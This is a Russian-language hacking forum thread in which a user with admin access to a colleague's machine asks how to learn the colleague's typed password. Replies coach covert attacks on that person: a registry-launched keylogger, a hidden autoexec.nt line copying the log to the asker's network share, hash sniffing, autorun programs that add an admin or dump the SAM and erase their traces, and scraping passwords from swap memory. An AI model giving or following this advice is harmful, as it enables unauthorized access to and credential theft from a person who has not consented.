Легенда:
 новое сообщение
 закрытая нитка
 новое сообщение
 в закрытой нитке
 старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
|
а если ты умеешь проги писать... 09.03.03 22:09 Число просмотров: 1661
Автор: Killer{R} <Dmitry> Статус: Elderman
|
|
то можешь написать прогу которая добавит еще одного админа, сунуть ее в автозагрузку, и подождать когда он заребутиться. Главное - потом ее стереть. Хотя лучшебы - прогу в винду, в автозагрузку ярлык и чтоб прога стерла ярлык после запуска.
|
|
<hacking>
|
введенный пароль 09.03.03 16:48 [ZloyShaman, Sandy]
Автор: Rehn Статус: Незарегистрированный пользователь
|
Имеем следущую ситуацию.
Локальная сеть. Моя машина win XP
Пришел человек, полез с моей машины на свою машину по локалке. У него вин 2000. Ввел свой логин "Администратор" и какой- то пароль.
Задача. Узнать пароль.
На данный момент доступ к его машине все еще открыт. Причем под провами администратора. Например имею полный доступ к его диску С.
Жду ваших руководств к действиею.
Sam файл из его резервной копии в виндах забрал, но он что-то мало дает:(
Над ним трудился by LC4. pwdump и lsadump тоже не помогли т.к. получаю хеш со своего компа, а на его процес не могу запустить. Пробовал psexec
|
|
введенный пароль 08.04.03 10:24
Автор: Pushkin Статус: Незарегистрированный пользователь
|
так, вы что-то в дебри залезли, мне кажется...
может я чего не понимаю, но мне кажется, что все проще.
если есть подключение к машине можно положить туда кейлоггер и запустить его через реестр(можно регедитом подключиться к той машине и рулить) или win.ini/system.ini (не помню уже как конкретно, но можно там файлы зпускать).
Потом останется только файл лога забрать как-то.
Можно батником копировать его куда-нибудь тебе на машину (вызов этого батника можно воткнуть в его autoexec.nt, и тогда файл будет не особо заметно для него копироваться в тот момент, когда он запускает дос-сессию. команда типа @copy keylog \\vasya\share\keylog >:null)
|
| |
введенный пароль 08.04.03 10:30
Автор: Pushkin Статус: Незарегистрированный пользователь
|
|
насчет :null я, пожалуй, пошутил, но это все равно - любое имя файла подойдет (просто для того, чтобы ему на экран не писалось, что файл скопирован)
|
|
Нет проблем. 07.04.03 16:32
Автор: Michael_X Статус: Незарегистрированный пользователь
|
Слушай, есть такая классная прграммулина - SAMInside называется. Короче, эта прога определяет пароли, используя базу sam и файло system. Причём делает это почти моментально со скоростью 5млн. штук в секунду.
Удачи.
|
| |
Нет проблем. 08.04.03 10:25
Автор: Luky Статус: Незарегистрированный пользователь
|
> Слушай, есть такая классная прграммулина - SAMInside
> называется. Короче, эта прога определяет пароли, используя
> базу sam и файло system. Причём делает это почти
> моментально со скоростью 5млн. штук в секунду.
> Удачи.
А кто нибуть видел полную версию SAMInside?????????
Везде одна демо .... а там на перебор тока латинские буквы .
|
|
введенный пароль 03.04.03 22:34
Автор: Ugly Troll Статус: Незарегистрированный пользователь
|
|
Значится так. все делается просто. если сессия восстанавливается после ребута тачки на которую открыта сессия, то логично предположить, что она(сессия) восстанавливается с пересылкой хэша. Логично? Так вот запускаешь снифер(лопхряк тот же) и ждешь ребута. или не ждешь. и дешь и просишь ребутнуться. или сам ту тачку грохаешь. сессия восстанавливается пересылкой хэша с твоей тачки. ты его ловишь и дальше дело техники. если я не прав - то почему.
|
|
введенный пароль 29.03.03 13:00
Автор: ]d1vEr[ Статус: Незарегистрированный пользователь
|
|
Значит так, для начала поставь в сетке сниффер - это часто помагает при хаке локалок. Ты просто будешь читать весь траффик, передаваемый по сетке. Следующий вариан - попробуй протроянить его тачку или "заставь" его запустить скрипт, который добавит тебя в админы этой тачки(скрипт можно сделать ввиде cmd-файла, html-страницы или ... короче дохрена вариантов) Или поищи баги в его тачке(зайди на www.securityfocus.com)
|
|
Что-то забрели в дебри 09.03.03 23:23
Автор: Rehn Статус: Незарегистрированный пользователь
|
Зачем все так усложнять?
Мнен ужно узнать парль. Он где-то храниться сейчас на моем компе. В сесии...раз она открыта. Предположительно в Perflib_Perfdata_***.dat
Имхо, копять надо мой комп. Зачем велосепед придумывать.
|
| |
Ишь, какой ты прыткий... 10.03.03 10:35
Автор: HandleX <Александр М.> Статус: The Elderman
|
> Зачем все так усложнять?
> Мнен ужно узнать парль. Он где-то храниться сейчас на моем
> компе. В сесии...раз она открыта. Предположительно в
> Perflib_Perfdata_***.dat
> Имхо, копять надо мой комп. Зачем велосепед придумывать.
Действительно не надо ничего придумывать. В Microsoft не лохи сидят (как это ни странно). Итак, когда ты набираешь имя пользователя и пароль, первое, что делает винда, это делает из пароля хеш. Хеш (по-английски «салат»), это что-то вроде однозначного определителя, т.е. разные пароли дадут разный хеш ;-) Причём процедура эта односторонняя, т.е. из хеша обратно пароль не сделаешь, как не сделаешь из салата из помидоров целые помидоры ;-) Вот этот хеш шлётся по сети туда на удалённую машину, сравнивается там с другим хешем, и если они совпадают, то винда возвращает дескриптор сеанса. Этот дескриптор забирает себе служба рабочей станции (Lanman Workstation Service), и потом толкает этот дескриптор во все твои попытки сетевого взаимодействия с удалённым компутером. Ты уже понял, что пароль в чистом виде умер примерно после 100 - 200 тысяч машинных иснтрукций на твоей тачке? ;-)
Если не понял, то копай Perflib_Perfdata_***., как собирался, может чего и найдёшь ;-)
|
| | |
Ишь, какой ты прыткий... 10.03.03 12:25
Автор: Rehn Статус: Незарегистрированный пользователь
|
Не очень понимаю Значит достать из хеша пароли пользователей системы модем, а введный пароль нет? Ведь и там и там идет хеширование. Ну думаю что хеширование передованиемого паролья более сложно.
>Ты уже понял, что пароль в чистом
> виде умер примерно после 100 - 200 тысяч машинных
> иснтрукций на твоей тачке? ;-)
Нет, я не понял что бы это значило. Потом, причем тут в чичтов виде, не в чистом. Пусть не в чистом. Подберем...знать бы откуда подберать.
Софта для дампа sam файлов, то есть хеша с пользователями хвататает.
А вот по взлому Perflib_Perfdata_*** вообще ничего не нашел. Что с ним теперь делать?
> Действительно не надо ничего придумывать. В Microsoft не
> лохи сидят (как это ни странно). Итак, когда ты набираешь
> имя пользователя и пароль, первое, что делает винда, это
> делает из пароля хеш. Хеш (по-английски «салат»), это
> что-то вроде однозначного определителя, т.е. разные пароли
> дадут разный хеш ;-) Причём процедура эта односторонняя,
> т.е. из хеша обратно пароль не сделаешь, как не сделаешь из
> салата из помидоров целые помидоры ;-) Вот этот хеш шлётся
> по сети туда на удалённую машину, сравнивается там с другим
> хешем, и если они совпадают, то винда возвращает дескриптор
> сеанса. Этот дескриптор забирает себе служба рабочей
> станции (Lanman Workstation Service), и потом толкает этот
> дескриптор во все твои попытки сетевого взаимодействия с
> удалённым компутером. Ты уже понял, что пароль в чистом
> виде умер примерно после 100 - 200 тысяч машинных
> иснтрукций на твоей тачке? ;-)
> Если не понял, то копай Perflib_Perfdata_***., как
> собирался, может чего и найдёшь ;-)
|
| | | |
Нет у тебя в системе пароля ни в чистом ни в хэшированном виде. Расслабся. 10.03.03 14:51
Автор: Killer{R} <Dmitry> Статус: Elderman
|
|
|
| | | | |
То есть по вашему ни в каком виде его нет? И мне кажется что у меня имеется доступ. Так? 10.03.03 15:23
Автор: Rehn Статус: Незарегистрированный пользователь
|
|
|
| | | | | |
У тебя есть установленная сессия. И как тока тот комп заребутится у тебя ее не будет. 10.03.03 16:00
Автор: Killer{R} <Dmitry> Статус: Elderman
|
|
|
| | | | | | |
Но ведь эта сессия где-то храниться! Она же не в воздухе парит... 10.03.03 16:18
Автор: Rehn Статус: Незарегистрированный пользователь
|
Кстати, его комп уже ходил на перезагрузку. Сессия осталась.
И еще, я вот что подумал. В ХР есть спящий режим. Я могу выключить в него комп. Далее сохранить файлы куда этот спящий режим усыпает.
После чего всегда смогу откатиться к состоянию текущему. Нет?
|
| | | | | | | |
Но ведь эта сессия где-то храниться! Она же не в воздухе парит... 10.03.03 16:41
Автор: Killer{R} <Dmitry> Статус: Elderman
|
> Кстати, его комп уже ходил на перезагрузку. Сессия
> осталась.
Действительно. Значит я ошибался Ж(.
> И еще, я вот что подумал. В ХР есть спящий режим. Я могу
> выключить в него комп. Далее сохранить файлы куда этот
> спящий режим усыпает.
> После чего всегда смогу откатиться к состоянию текущему.
> Нет?
Нет. При уходе в спящий режим предполагается что при последующей загрузке все на винте будет по прежнему.
|
| | | |
Да не надо ничего делать с Perflib_Perfdata, с чего ты взял, что они там? Это я пошутил ;-) 10.03.03 14:41
Автор: HandleX <Александр М.> Статус: The Elderman
|
|
|
| | | | |
Ну мне подсказали. На самом деле это файл изменяется при вводе таких паролей. Плюс меняется реестр. 10.03.03 15:25
Автор: Rehn Статус: Незарегистрированный пользователь
|
Вот от туда и взял.
А за что тогда это файл отвечает?
И вообще странно, то есть меня тут, как я понял, пытаются убидить в том, что имея доступ к файлам со своего компьютера, да еще и на уровне админа ничего сделать нельзя кроме как в автозаупуск какого-нибудь трояна записать.
|
| | | | | |
Ну мне подсказали. На самом деле это файл изменяется при вводе таких паролей. Плюс меняется реестр. 10.03.03 21:21
Автор: ZloyShaman <ZloyShaman> Статус: Elderman
|
> И вообще странно, то есть меня тут, как я понял, пытаются
> убидить в том, что имея доступ к файлам со своего
> компьютера, да еще и на уровне админа ничего сделать нельзя
> кроме как в автозаупуск какого-нибудь трояна записать.
Сделать-то ты можешь всё что угодно. Но ты же задачу какую поставил, сам-то помнишь? Узнать его пароль. Причём этот пароль не знает ни твой виндоус, ни его :)
Предлагаю как-нибудь сделать в автозагрузку pwdump, который положит в незаметную папку sam, и чтобы следы сами ловко удалались. Дальше дело за вычислительными мощностями.
|
| | | | | | |
Не знаю как XP, но 2к странно относится к паролям 11.03.03 15:52
Автор: amirul <Serge> Статус: The Elderman
|
> > И вообще странно, то есть меня тут, как я понял,
> пытаются
> > убидить в том, что имея доступ к файлам со своего
> > компьютера, да еще и на уровне админа ничего сделать
> нельзя
> > кроме как в автозаупуск какого-нибудь трояна записать.
>
> Сделать-то ты можешь всё что угодно. Но ты же задачу какую
> поставил, сам-то помнишь? Узнать его пароль. Причём этот
> пароль не знает ни твой виндоус, ни его :)
С одной стороны конечно хеширование, сискей и т.д. А с другой стороны буфер с паролем (плэйновым) после его обработки не очищается, а освобождается как есть. Суть сделанного мной однажды в следующем: мой пароль известен, поэтому нахожу все вхождения его в своп файле (как его прочитать на работающей машине - второй трудный вопрос, причем решаемый) или в \device\PhysicalMemory. Рядом с ним всегда валяются сигнатуры: вспомогательные данные, которые пихаются на стек, теги кучи или еще что-то. Но это так. Так вот я сам выковыривал пароли из свопа после набора пароля на этом компе. Также я выковыривал пароли из ssh-сессии в линухе (сдампил /dev/mem или /dev/kmem не помню - и поковырялся).
> Предлагаю как-нибудь сделать в автозагрузку pwdump, который
> положит в незаметную папку sam, и чтобы следы сами ловко
> удалались. Дальше дело за вычислительными мощностями.
ЗЫ: Вот только если ты уже несколько дней работаешь за этой тачкой, то эта память скорее всего уже перераспределилась и затерлась :-))) Жди следующего раза. Но перед этим лучше приготовь у себя какой-нить кейлоггер - не придется копаться в свопах - все пароли будут в открытом виде валяться в логе. :-))
|
| | | | | | | |
Он имел ввиду про pwdump не свою, а удалённую тачку… 12.03.03 09:29
Автор: HandleX <Александр М.> Статус: The Elderman
|
|
|
|
|
подробно о проекте
Анализ криптографических сетевых...
